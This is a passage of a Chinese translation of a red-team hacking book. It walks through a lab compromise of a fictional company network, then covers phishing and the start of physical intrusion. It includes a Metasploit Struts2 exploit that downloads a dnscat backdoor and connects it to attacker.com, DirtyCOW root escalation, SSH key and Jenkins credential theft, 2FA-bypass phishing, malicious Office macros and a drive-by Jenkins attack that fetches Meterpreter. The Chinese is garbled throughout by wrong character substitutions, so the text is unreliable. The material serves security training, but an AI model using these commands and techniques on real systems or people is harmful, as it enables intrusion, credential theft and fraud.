攻击 CSK 安全辘集临了,你也曾从 Windows 环境转到了安全出产环境辘集中。从你扫数的侦察和研究中,你知说念扫数的奥密皆存储在这里。这是他们保护最严实的辘集之一,咱们知说念他们也曾分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换能力拜谒中枢数据库。这即是你发起这次攻击的目的......
以安全辘集区域的外部为中心,可以看到为此环境建立的辘集范围位于172.16.250.0/24辘集中。由于你对这个辘集不太了解,你可以先进行一些相称简单的 nmap 扫描。你需要肯定哪些系统可以从辘集外部拜谒,以肯定如何启动攻击。
扫描辘集:
nmap 172.16.50.0/24你珍爱到有三个开导正在运行,但只须一个开导启用了 Web 端口。看起来其他两个开导与安全辘集之外是隔断的,这意味着咱们必须首先入侵172.16.250.10开导能力转到其他两个做事器。拜谒第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会珍爱到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马料想了Equifax 数据流露事件中黑客的攻击手法。你闻宠若惊,太好了,但你如故要检讨一下。在 msfconsole 上运行一个快速搜索并测试缺点 struts2_content_type_ognl。
咱们知说念,CSK 会严格监控受保护的辘集流量,其里面做事器可能不允许顺利拜谒公司辘集。为了科罚这个问题,咱们必须使用咱们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通讯。天然,在真实操作中,咱们可能会使用巨擘的 DNS 做事器,但仅针对土产货测试的话,咱们将建立我方的 DNS 做事器。
[本书的 Kali 机器]
本书的定制 Kali 诬捏机应该领有实行攻击的扫数器具。
咱们需要在 Web 做事器上放上咱们的 payload,这样咱们就可以让咱们的 metasploit payload 抓取 dnscat 坏心软件。在 dnscat2 客户机文献夹中是 dnscat 二进制文献。 cd /opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 做事器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 记载你的密钥 打开新结尾并加载 Metasploit msfconsole 搜索 struts2并加载 struts2缺点 search struts2 use exploit/multi/http/struts2_content_type_ognl 建立 struts2缺点以获取咱们的 dnscat payload 并在受害者做事器上实行。确保在前边更新你的 IP 和密钥。 set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret= run 一朝 payload 实行,你将不会在 Metasploit 中得到任何阐发,因为咱们使用了 dnscat 的 payload。你需要检讨你的 dnscat 做事器是否有任何使用 DNS 流量的结合。 回到 dnscat2做事器上,检讨新实行的 payload 并创建一个 shell 结尾。 与第一个 payload 进行交互 window -i 1 生成 shell 程度 shell 用键盘按钮复返主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 敕令 ls你也曾入侵了 OpenCMS/Apache Struts 做事器!现在要作念什么?你需要花一些期间检讨做事器并寻找趣味趣味的信息。你想起来做事器正在运行 OpenCMS Web 应用范例,并肯定该应用范例是在 /opt/tomcat/webapps/kittens 下建立的。在稽查 OpenCMS 属性的建立文献时,咱们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。
检索数据库信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties咱们得胜结合到数据库了,但看不到太多信息。这是因为咱们面前是一个有限的 Tomcat 用户,这确乎阻碍了咱们的攻击。因此,咱们需要找到一种提权的方法。在做事器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个相称旧的 Ubuntu 版块。行运的是,此做事器容易受到权限提高缺点 DirtyCOW 的攻击。让咱们创建一个 DirtyCOW 二进制文献并转到根目次!
Escalation 提高 dnscat 权限:
下载并编译目次: cd /tmp wget -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 缺点利用的平定性,并允许内核崩溃时重新启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami珍爱:DirtyCOW 不是一个相称平定的提权方法。如果你对缺点利用过程有问题,请稽查我的 Github 页面,在这里了解创建 setuid 二进制文献的更平定的过程:
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题,另一个选项是通过 SSH 登录到开动做事器,并以 root 身份实行 dnscat payload。要登录,请使用凭证 hacker/changeme 登录系统并使用 sudo-su 得到 root 权限。现在,由于主机系统上莫得补丁,你也曾成为系统的 root 用户。当你再次最先为明锐信息翻阅系统文献时,你会看到 root 的 bash 历史文献。在这个文献中,你可以找到 SSH 敕令和专有 SSH 密钥起首。咱们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30:
cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa root@172.16.250.30你花了一些期间在第二个系统上,试着领路它的用途。在四处搜索时,你珍爱到在 /home 目次中有一个 Jenkins 用户,它率领你识别在端口8080上运行的 Jenkins 做事。咱们如何使用浏览器稽查 Jenkins 做事器上的内容?这即是 dnscat 的端口转发功能弘扬作用的地方。咱们需要退出首先的shell,去敕令结尾。从那里,咱们需要成立一个监听器,通过 dnscat 将咱们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。
实行 dnscat 端口转发:
退出现存的 shell Ctrl + z 复返咱们的第一个敕令代理并成立一个监听器/端口转发: window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 诬捏机上,使用咱们的端口转发代理打开浏览器并打开底下的地址(这将比 dns 慢一些): :8080/jenkins在 Jenkins 应用范例内的凭证料理器里面,咱们将看到 db_backup 用户密码已存储,但不可见。 咱们需要弄领会如何从 Jenkins 中获取此凭证,以便咱们可以陆续横向出动。
n00py 对 Jenkins 中存储的凭证以及如何索要它们作念了一些很好的研究( )。 咱们可以使用现存的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文献。
复返 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目次并获取三个文献:credentials.xml,master.key 和 hudson.util.Secret。 cd /home/Jenkins 咱们可以尝试关闭这些文献,或者咱们可以将这些文献作为基础并通过当前的 shell 复制它们。 base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 咱们可以将 base64输出复制回咱们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “” | base64 —decode > hudson.util.Secret echo “” | base64 —decode > master.key echo “” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml咱们能够得胜解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果咱们回顾一下之前的扫视,咱们会在 OpenCMS 属性文献中看到数据库做事器位于 172.16.250.50。看起来这个 Jenkins 做事器出于某种原因会对数据库做事器实行某种备份。让咱们检讨一下咱们是否可以获取 db_backup 的凭证:利用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库做事器。唯一的问题是通过咱们的 dnscat shell,咱们莫得顺利按圭臬输入(STDIN)来与 SSH 的密码教唆进行交互。 因此,咱们将不得不再次使用咱们的端口将咱们的 SSH shell 从 Kali 诬捏机通过 dnscat 代理传递到数据库做事器(172.16.250.50)。
回到敕令 shell Ctrl + z window -i 1 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库做事器 listen 127.0.0.1:2222 172.16.250.50:22一朝使用 db_backup 帐户进入数据库做事器(172.16.250.50),咱们会珍爱到此帐户是 sudoers 文献的一部分,何况可以 sudo su 到 root。 一朝 root 在数据库做事器上,咱们将四处寻找也找不到任何拜谒数据库的凭证。咱们可以重置 root 数据库密码,但最终可能会碎裂其他一些应用范例。相背,咱们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,咱们找到 secrets.ibd 文献,其中包含 secrets 表的扫数数据。在咱们阅读数据时,咱们意志到它可能是加密的...由你来实行剩下的操作...
恭喜!!!你已得胜入侵 Cyber Space Kittens 辘集!
不要停步于此...你可以用这些系统作念许多事情;咱们现在只触及了名义。放纵在被入侵的系统上翻阅,找到更明锐的文献,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示:
本章总结在本章中,咱们经历了入侵辘集的一系列操作。 咱们最先在外部辘集上莫得任何凭证或利用社会工程的方式入侵到咱们的第一个受害者系统。从那里最先,咱们能够利用宗旨系统自己的应用范例,获取关联辘集和主机系统的信息,横向出动,权限提高,并最终攻陷通盘辘集。这一切皆是建立在最少程度的扫描,利用辘集本性,并试图走避扫数检测机制之上完成的。
第5章 助攻——社会工程学攻击 最先社会工程学攻击行动作为红队队员,咱们钟爱社会工程学攻击。不仅因为它日常包含低技能攻击,而且因为它也很容易以相称低的资底本策齐截场值得咱们高度相信的战役。只需成立几个假域名、做事器、策齐截些电子邮件、假装丢掉一些 bad USB,然后就可以闭幕一天的责任了。
译者注: 这里提到的低技能攻击, 原文是 low skillset attacks,我的领路是无需太多技能的攻击,比如踩点、垃圾汇集......
在权衡的方针方面,咱们一般用捕捉到的显豁的信息,举例发送的电子邮件数目、点击了垂钓贯穿的用户数目以及键入密码的用户数目。咱们也试图弘扬创意,为雇用咱们的公司带来实质性价值。这方面的一个例子是 DefCon 会议举办的的社会工程学竞赛,在这个竞赛中参赛选手要通过社工的方式来入侵公司和雇员。如果你不熟悉这个竞赛的话,那我毛糙地先容一下:参赛选手们需要在有限的期间内针对宗旨公司找到一些 flag。通过获取公司信息,如他们的 VPN 、他们使用的杀毒软件类型、职工的特定信息或让职工拜谒垂钓 URL 等方法,可以拿获 flag。如果你想稽查比赛中的使用的扫数 flag,请稽查2017年的比赛陈说: 。 这些类型的攻击可以通过训诲职工学会发现坏心行动并向联系负责团队陈说从而匡助公司提高里面安全意志。
在本章中,咱们将浅近的战争一些用来进行社会工程学攻击的器具和时代。对于社会工程学攻击,莫得正确或造作的谜底。只须能弘扬作用,在咱们的书里即是好的。
近似域名(Doppelganger Domain)在上本书中咱们讲了许多对于近似域名的内容。如今近似域名仍然是获取开动凭证或者植入坏心软件的最得胜方法之一。最常用的时代是购买一个与宗旨公司的URL相称相似的域名,或者是宗旨公司 URL 的一个常见拼写造作的域名。
在上一册书中,咱们举了一个例子,如果咱们的宗旨公司有 mail.cyberspacekittens.com 这个域名,咱们将购买 mailcyberspacekittens.com 这个域名,并成立一个假的 Outlook 页面来获取登录凭证。当受害者进入假网站并输入密码时,咱们会汇集这些数据并将其重定向到公司的有用电子邮件做事器(mail.cyberspacekittens.com)。这给受害者留住这样的印象:他们只是第一次不测地输错了密码,因此,再次输入正确密码并登录他们的帐户。
这种方法最微妙地一丝是你以致无谓作念任何辘集垂钓的操作。因为有些东说念主即是会打错域名或者手误漏掉 “mail” 和 “cyberspacekittens” 之间的点(.),然后进入了造作的网页并输入他们的登录凭证。咱们会教唆让受害者把咱们的坏心网站添加为书签,这样可以让受害者每天皆拜谒咱们的坏心网页。
如何克隆考证页面快速克隆Web应用范例登录考证页的最好器具之一是 TrustedSec 公司开发的社会工程学器具包(Social Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社工行径的圭臬器具包。你可以从 https://github.com/trustedsec/social-engineer-toolkit 下载这个器具包。
建立 SET:
将 SET 建立为使用 Apache(而不是默许的 Python ) 将建立文献按照以下内容修改: gedit /etc/setoolkit/set.config APACHE_SERVER=ON APACHE_DIRECTORY=/var/www/html HARVESTER_LOG=/var/www/html 启动 SET: cd /opt/social-engineer-toolkit setoolkit (1) Spear-Phishing Attack Vectors (鱼叉式垂钓攻击) (2) Website Attack Vectors(网站攻击) (3) Credential Harvester Attack Method (凭证汇集攻击方法) (4) Site Cloner(站点克隆器) 输入你的攻击做事器的 IP 克隆宗旨站点 打开浏览器,转到攻击做事器并测试扫数文献皆会被储存在 /var/www/html 文献夹下,密码存储在 Harvester* 下。底下是社工行径中克隆页面时的一些比较好的作念法:
搭配使用 Apache 做事器 + SSL 把扫数图像和资源移到土产货(而不是从被克隆的站点调用) 就我个东说念主而言,我可爱使用我的 PGP 公钥来存储扫数记载的密码。这样,如果做事器受到入侵,就无法在莫得私钥的情况下规复密码。PHP gnupg_encrypt 和gnupg_decrypt 接济这一作念法。 使用双身分考证的身份凭证咱们看到越来越多的客户使用双身分认证(2FA),对于红队来说双身分认证是一个巨大的费劲,因为它们不可能被放纵绕开。在以前咱们必须创建一些定制化的页面,这样可以处理其中的一些情况。但现在咱们有了 ReelPhish,这是 FireEye 公司制作的一个器具。当受害者在咱们的垂钓网页上输入登陆凭证时,ReelPhish 允许红队利用 Selenium 和 Chrome 来自动触发双身分考证。
ReelPhish:
克隆需要双身分认证的攻击宗旨站点。 使用你的攻击器具箱,解析登录到真实站点的流量。在我的例子中,我打开了 Burp Suite 来获取身份考证所需要的扫数 post 参数。 修改克隆站点,使其使用 ReelPhish。拜谒 /examplesitecode/samplecode.php 并输入你的身份考证所需的扫数必要参数。 受害者进入克隆站点并进行身份考证。 凭证被传输到攻击者手中。 ReelPhish 将在真实站点进行身份考证,触发双身分考证。 受害者收到双身分考证的考证码或电话考证。 受害者被重定向到真实站点重新登录(他们会认为他们在第一次登录时登陆失败了)。如下图所示,咱们现在应该有一个经过身份考证了的会话来绕过双身分考证。固然 ReelPuish 看起来很像是接济 Linux ,但我在 Kali 中运行它时遭遇了一些问题。是以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公司的网站上找到更多对于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。
还有一些其他器具可以处理不同的双身分考证绕过的情境:
https://github.com/kgretzky/evilginx https://github.com/ustayready/CredSniper还有一件事,当对需要双身分认证的辘集资源进行身份考证时,请确保你在得到身份凭证后要尝试使用多种不同的身份考证方法。我的趣味是,一些居品可能在 Web 派别网站的身份考证页面使用了双身分考证,但在 API、旧的客户端或扫数的应用范例结尾上可能并莫得使用双身分考证。咱们也曾看到许多应用范例在全球结尾上要求双身分考证,但在应用范例的其他部分则空匮相应的安全保护。
辘集垂钓另一个红队也曾用之取得了巨大得胜的时代是传统的辘集垂钓。辘集垂钓的秘诀在于激勉受害者的怯怯感或者紧迫感,有时也会向受害者描写一些相称好意思好(以致不太真实)的招引。我相信你以前肯定见过一些怯怯感和紧迫感确弘扬巨大威力的情境。利用受害者怯怯和紧迫神色进行攻击的一些例子包括:
一封带有欺诈性购买的空虚电子邮件 有东说念主黑进了你的电子邮件音尘 关联税务欺诈的电子邮件这些一般性攻击的问题是,咱们也曾珍爱到公司职工变得越来越贤人。日常,每10封基本垂钓式攻击邮件中至少有1封会被上报。在某些情况下,比例以致更高。这些情况对于一个红队来说是很有价值的,红队可以持续监控这些简单的辘集垂钓攻击,望望公司在对这些情况的响应方面是不是有所向上。
对于那些寻求自动化垂钓攻击的东说念主,我高度推选 Gophish。Gophish 相称易于成立和爱戴,何况接济模板和 HTML,另外它还会追踪和记载你所需的一切。如果你是 Ruby 的粉丝的话,Phishing Frenzy即是一个使用 Ruby 语言写的很好的器具。天然,少不了的也有用 python 语言写的器具,King Phisher 即是使用 Python 开发的。
这些自动化器具相称适合记载简单的辘集垂钓行径。但是对于咱们的宗旨行径,咱们得采取愈加手工化的方法。举例,如果咱们对受害者的邮件记载进行了一些侦察,了解到客户使用 Office365 ,那么咱们就可以念念考一下如何利用这个信息来策齐截场具有高可行度的入侵行动。此外,咱们还试图寻找该公司流露信息的电子邮件,从中来捕捉任何其他可能有匡助的信息,包括他们可能正在运行的范例、新的本性、系统升级、代码合并等等。
咱们有时还会开展更具针对性的行动。在这些行动中,咱们尝试使用扫数的开源器具来搜索关联东说念主员及其财产、家庭等的信息。举例,针对一些公司高管,咱们会在 pipl.com 上搜索他们,获取他们的外交媒体帐号,找出他们的孩子上学的地方。然后咱们向他们发送一封诈骗性电子邮件,假装是学校发的,说他们需要打开这个 word 文档。要作念完这一系列事情可能要破耗很耐久间,但克己在于得胜率很高。
Microsoft Word/Excel 宏文献固然是很老旧,但向受害者发送坏心的 Microsoft Office 文献仍然是久经熟练的一种社会工程学攻击方法。那为什么 Office 文献相称适合作为坏心 payload 的载体呢?这是因为 Office 文献的默许成立是接济 VBA 代码是以允许 VBA 代码的代码实行。尽管最近这种方法也曾很容易被杀毒软件检测到,但在经过污染处理之后,在很厚情况下仍然可以成效。
在最基础的水平上,咱们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏:
使用 Empire: 遴荐 Macro Stager usestager windows/macro 确保进行正确的建立 info 创建宏 generate 如果你想为 Meterpreter 创建一个 payload ,咱们可以使用像 Unicorn 这样的器具: cd /opt/unicorn ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro 启动一个 Metasploit Handler msfconsole -r ./unicorn.rc一朝生成得胜,你的 payload 将如下所示:
如你所见,这是运行一个简单的 PowerShell base64 污染剧本。这可以匡助科罚绕过一些杀毒软件,但要紧的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档:
打开 Excel 转到视图选项卡(View Tab) - >宏 - >稽查宏 添加一个宏称呼,为 book1 建立宏,然后单击 “创建” 用生成的代码替换扫数当前的宏代码 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 时势的文献现在,每当有东说念主打开你的文档时,他们皆会收到安全申饬并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 剧本将会被实行,这会弹给你一个 Empire Shell 。
如前所述,宏文献方法是一种久经熟练的旧方法,因此许多受害者也曾对这种攻击有了一定的相识。利用 Office 文献的另一种念念路是将咱们的 payload 镶嵌一个批处理文献(.bat)。但在较新版块的 Office 中,如果受害者双击 Word 文档中的 .bat 文献,对象则不会被实行。咱们日常不得不试图诱导受害者使其将 .bat 文献出动到桌面并实行。
咱们可以用 LuckyStrike 来以更自动化的方式完成此操作。通过使用 LuckyStrike,咱们可以在责任表中使用 Payload 创建 Excel 文档,以致可以在 Excel 文档中存储完整的可实行文献(exe),这些文献可以用 ReflectivePE 来触发从而在内存中运行。阅读更多对于 LuckyStrike 的内容:
https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator我想提到的用于 Office 文献实行的临了一个器具是 VBad。运行 VBad 时,必须在 Office 中启用宏,并在宏安全成立的下拉框中遴荐 “信任对 VBA 式样对象模子的拜谒” 选项。这会允许 VBad 运行 python 代码来变调并创建宏。
VBad 会严重污染 MS Office 文档中的 payload。它还增多了加密功能,用假密钥来蛊卦济急响应团队。最要紧的是,它可以在第一次得胜运行后糟跶加密密钥(VBad 是一个一次性使用的坏心软件)。另一个本性是 VBad 也可以糟跶对包含有用 payload 的模块的援用,以使其从 VBA 开发者器具中不可见。这使得分析和排除故障变得愈加发愤。因此,不仅很难去逆向,而且如果济急响应团队尝试分析实行的 Word 文档与原始文档,则扫数密钥皆将丢失。
非宏的 Office 文献 —— DDE有时候红队攻击亦然一场与期间竞走的游戏,固然有些可以利用的易受攻击模块效果很好,但是如果期间潜入,一些杀毒软件或者安全软件也曾包含了检测的策略,那么也很难利用,是以有时候一些新发现的缺点是更好利用的。在咱们的一次评估中,初度公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全居品还尚未检测到它,因此这是得到咱们开动进口点的好方法。 固然现在有几种安全居品可以检测 DDE ,但在某些环境中它仍然可能是一种可行的攻击。
什么是 DDE?“ Windows 提供了几种在不同的应用范例之间传输数据的方法。其中一种方法即是使用动态数据交换(DDE)左券。DDE 左券是一组音尘和指南。它在分享数据的应用范例之间发送音尘,并使用分享内存在应用范例之间交换数据。应用范例可以使用 DDE 左券进行一次性数据传输。何况应用范例也可以利用 DDE 左券来进行持续的数据交换,当新数据可用时候,应用范例可以通过持续的数据交换来彼此发送更新。”[ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ]
Sensepost 的团队作念了一些很棒的研究,发现 MSExcel 和 MSWord 皆裸露了 DDEExecute,何况可以在不使用宏的情况下创建代码实行。
在 Word 中:
转到“插入”选项卡 -> “快速部件” -> “字段” 遴荐 = 公式 右键单击:!Unexpected End of Formula 并遴荐 Toggle Field Codes 将 payload 替换为你的 payload:Empire 有一个 stager ,可以自动创建 Word 文献和关联的 PowerShell 剧本。 此 stager 可以通过以下方式建立:
usestager windows/macroless_msword资源:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/除了 0day 缺点利用(举例 https://github.com/bhdresh/CVE-2017-0199 )之外,Word 文档中是否还有其他任何能利用的本性呢? 谜底是肯定的。固然咱们不会在本书中先容它。其中一个例子是 subdoc attacks。这些攻击导致受害者向辘集上的攻击做事器发出 SMB 央求,以便汇集 NTLM Auth Hash(NTLM 考证哈希)。 这种攻击并不是在扫数场景里百分百成效,因为大多数公司现在阻滞 SMB 联系端口结合外网。对于那些还未进行此种建立的公司,咱们可以使用 subdoc_inector 攻击来利用这种造作建立。
躲避的加密 payload作为红队队员,咱们一直在寻求使用创造性的方法来构建咱们的登陆页面,加密咱们的 payload,并诱导用户点击运行。具有近似过程的两个不同器具是 EmbededInHTML 和 demiguise。
第一个器具 EmbededInHTM,该器具的神态是“ 获取文献(任何类型的文献),加密它,并将其作为资源镶嵌到 HTML 文献中,还包含模拟用户点击镶嵌资源之后的自动下载程度。然后,当用户浏览 HTML 文献时,镶嵌式文献即时解密,保存在临时文献夹中,然后将文献展示给用户。这一系列过程会让用户嗅觉该文献像是从长途站点下载来的。基于用户的浏览器和夸耀的文献类型,浏览器可以自动打开文献。”
cd /op/EmbedInHTML python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w一朝受害者拜谒坏心站点,弹出的窗口会教唆受害者在 Excel 中打开咱们的.xll文献。倒霉的是,对于最新版块的 Excel(除非建立造作),用户需要启用加载项来实行咱们的 payload 。这就需要使用你在前边学到的社会工程学技巧了。
第二个器具是 demiguise,神态是“ 生成包含一个加密的 HTA 文献的 .html 文献。该器具的念念路是,当你的宗旨拜谒该页面时,将获取其密钥并在浏览器中动态解密 HTA 然后将其顺利推送给用户。这是一种归隐时代,可以绕过由某些安全开导进行的的内容/文献类型的检讨。但是此器具并不是为了创建优秀的 HTA 内容而设想的。在 HTA 内容方面还有其他器具/时代可以匡助你。demiguis 但愿匡助用户的是:首先让你的 HTA 进入一个环境,何况(如果你使用环境键控)幸免它被沙盒化。
python demiguise.py -k hello -c “cmd.exe /c <powershell_command_here>” -p Outlook.Application -o test.hta 利用社会工程学攻破内网 Jenkins作为红队队员,攻击的创造性使咱们的责任相称令东说念主昂扬。咱们可爱利用旧的缺点利用并再次使它们盖头换面。举例,如果你一直在进行辘集评估,你就会知说念,如果遭遇未经身份考证的 Jenkins 应用范例(开发东说念主员多数使用它进行持续集成),这险些意味着它完全掀开在你的面前。这是因为 Jenkins 具有允许 Groovy 剧本实行测试的 “本性”。利用这个剧本控制台,咱们可以使用允许 shell 拜谒底层系统的实行敕令。
这种方法在入侵方面变得如斯受迎接的原因是险些每家大公司皆有一些 Jenkins 实例。如果想要从外部进行攻击,就会存在一个问题:这些 Jenkins 做事皆是里面托管的,无法从外部拜谒。
咱们若何样能力在这些做事器上长途实行代码? 在咱们可以回答这个问题之前,我告诉我的团队先退后一步,用 Jenkins 构建一个副本辘集进行测试。 一朝咱们很好地领路了代码实行央求的功能,咱们现在可以构建合适的器具来得到长途敕令实行(RCE)。
面临这种情况,咱们通过使用 JavaScript 和 WebRTC(Web实时通讯)的一系列方法科罚了这个问题。首先,咱们需要一个属于宗旨组织的受害者来拜谒一个咱们领有的公开网站或是咱们存储了 XSS payload 的网页。一朝受害者拜谒咱们的公开站点,咱们将在他的浏览器上实行 JavaScript 从而运行咱们的坏心 payload 。
此 payload 会利用一个 Chrome / Firefox 的 “功能” ,此功能允许 WebRTC(Web实时通讯)公开受害者的内网 IP 。 通过内网 IP ,咱们可以推断出受害者的策动机的土产货子网,以了解其公司 IP 范围。 现在,咱们可以使用咱们特制的 Jenkins 缺点利用通过 Jenkins 默许的8080端口在他们的辘集范围内对每一个 IP 发起攻击(这段代码只扫描土产货 /24 ,但在一个真实的红队行动中,你可能会想把扫描范围成立的比这个大许多)。
如果你玩过 Jenkins Console shell ,你就知说念它有点难搞,因此能够持续得到复杂的 PowerShell payload 可能会很发愤。 为了科罚这个问题,咱们为本书创建了一个名为 generateJenkinsExploit.py 的器具 ,该器具将获取任何二进制文献,对其进行加密,并构建进行坏心攻击的 JavaScript 页面。当受害者拜谒咱们的坏心网页时,它将获取其内网 IP 并最先将咱们的缺点利用传播到 /24 范围内的扫数做事器。当它找到易受攻击的 Jenkins 做事器时,此攻击将发送一个 Groovy 剧本的 payload 来从 internet 上抓取加密的二进制文献,将其解密为一个文献放到 C:\Users\Public\RT.exe 下,并实行 Meterpreter 二进制文献(RT.exe)。
在主张上(如下图所示),这与做事器端央求伪造 (SSRF)相称相似,咱们强制受害者的浏览器重新启动与内网 IP 的结合。
受害者拜谒咱们存储的 XSS 或坏心 JavaScript 的页面。 受害者的浏览器实行 JavaScript/WebRTC 以获取内网 IP 并使用 Groovy POST Payload 对土产货里面辘集发起攻击。 找到一个 Jenkins 做事器后,咱们的 Groovy 代码将文牍 Jenkins 做事器从攻击者的做事器获取加密的 payload ,然后解密并实行二进制文献。 在这种情况下,咱们下载的加密可实行文献是 Meterpreter payload。 Meterpreter 在 Jenkins 做事器上实行,然后结合到咱们的攻击者 Meterpreter 做事器。珍爱:最新版块的 Jenkins 中不存在此缺点。 2.x 之前的版块在默许情况下是易受攻击的,因为它们未启用 CSRF 保护(允许对剧本进行无考证调用),何况未启用身份考证。
完整的 Jenkins 缺点利用实验:
咱们将构建一个 Jenkins Windows 做事器,以便咱们可以复现此攻击。 在土产货辘集上安设具有桥接接口的 Windows 诬捏机。 在 Windows 系统上,下载并安设 JAVA JDK8。 下载 Jenkins war 包: -stable/1.651.2/ 启动 Jenkins : java -jar jenkins.war 浏览器打开 Jenkins: http://<Jenkins_IP>:8080/ 测试 Groovy 剧本控制台: http://<Jenkins_IP>:8080/script在 THP Kali 诬捏机上利用 Jenkins:
译者注:专门为本书开发的集成了扫数环境的 Kali 诬捏机,本书第一章有先容。THP 即是 The Hacker Playbook,本书的英文简称。
下载 THP Jenkins 缺点利用器具( )。 要实行该实验,咱们首先需要创建一个 Meterpreter payload: 加密咱们的 Meterpreter 二进制文献: 创建咱们的坏心 JavaScript 页面定名为badware.html: 将加密的二进制和坏心 JavaScript 页面皆出动到 Web 目次:现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器拜谒你的攻击者网页:http://<attacker_IP>/badware.html 。只需拜谒该坏心页面,你的浏览器就和会过咱们的 Groovy payload,使用 JavaScript 和 POST 央求对你的里面 /24 辘集经由8080端口进行攻击。当它找到一个 Jenkins 做事器时,它将导致该做事器下载咱们的加密 Meterpreter ,解密并实行它。在公司辘集中,你最终可能会得到多数不同的 shell 。
任何允许通过 GET 或 POST HTTP 方法进行未经身份考证的代码实行的场景皆可以使用此种攻击手法。对于此类攻击,你需要肯定受害者在里面使用哪些应用范例并制定你的坏心攻击。
本章总结社会工程学攻击是一种近似于猫捉老鼠的游戏。这种攻击在很大程度上依赖于东说念主的身分,并对准东说念主性中怯怯、紧迫和易于轻信等缺欠。通过利用这些东说念主性的缺点,咱们可以创建相称微妙的入侵行动,这些入侵行动在系统攻击方面具有很高的得胜率。
在权衡圭臬和宗旨方面,咱们需要从泄劲恭候用户、陈说垂钓网页/垂钓电子邮件等的联统统据这样的反应模子中跳脱出来,转而采取主动模式。咱们可以积极狩猎、主动发起包括但不限于以上先容的这些类型的坏心社工攻击。
第6章 短传——物理拜谒攻击作为安全评估的一部分,CSK 要求你的团队对基础设施进行物理评估。这就需要检讨他们的门和安保设施是否及格。在得到了授权的前提下可以进行现场测试,以肯定他们警卫的反应和响应期间。
快速说明:在进行任何物理评估之前,请务必与当地、州和联邦法律核实。举例,在密西西比州、俄亥俄州、内华达州或弗吉尼亚州,只是是持有开锁器具就可能黑白法的。我不是讼师,是以你最好先照管一下专科法律东说念主士。此外,确保你得到安妥的批准,尽量与该机构的物理安全团队协同责任,并有一个书面的免责核准文献,以防被侦查抓到后需要承担额外的法律背负。在现实参与之前,要与该机构的物理安全团队磋磨如果保安收拢你,你是否可以逃逸,或是立马罢手。以及还要珍爱,该公司是否安设了无线电监听。临了,确保警卫不会将你的检修行动上报到当地功令部门,毕竟谁皆不想去蹲号子。
现在,是时候侵入 Cyber Space Kittens 的奥密基地了。从他们网站上预留住来的信息看,他们的现实位于 299792458 Light Dr。利用谷歌街景作念了一番侦察后,咱们珍爱到他们有一个大门,还有一两个警卫室。在翻越栅栏前,咱们需要了解多个可能的进入点和进入区域。通过初步不雅察,咱们还发现了一些录像头、门、进口点和读卡器系统。
ID 卡复制器上一版书里,讲了许多关联 ID 卡复制器的东西,是以在本书中我将把要点放在更新的内容上。在大多数情况下,那些由 HID 公司出产的、不需要任何专有/公开捏手认证的感应卡,咱们仍然可以很温情地克隆它们,并暴力破解它们的 ID 号。
上一版书里,我提到了我很可爱复制 ProxCard Ⅱ 卡,因为它们莫得任何保护措施,是以易于克隆。何况 ProxCard Ⅱ 卡一般皆可以成批购买,用来暴力破解,简直再浅显不外。破解的过程皆是基于 Proxmark3 器具完成的。现在,它发布了一个主打便携的新式号,叫 Proxmark3 RDV2 Kit。新版的可插电板用,何况体积也工整许多。
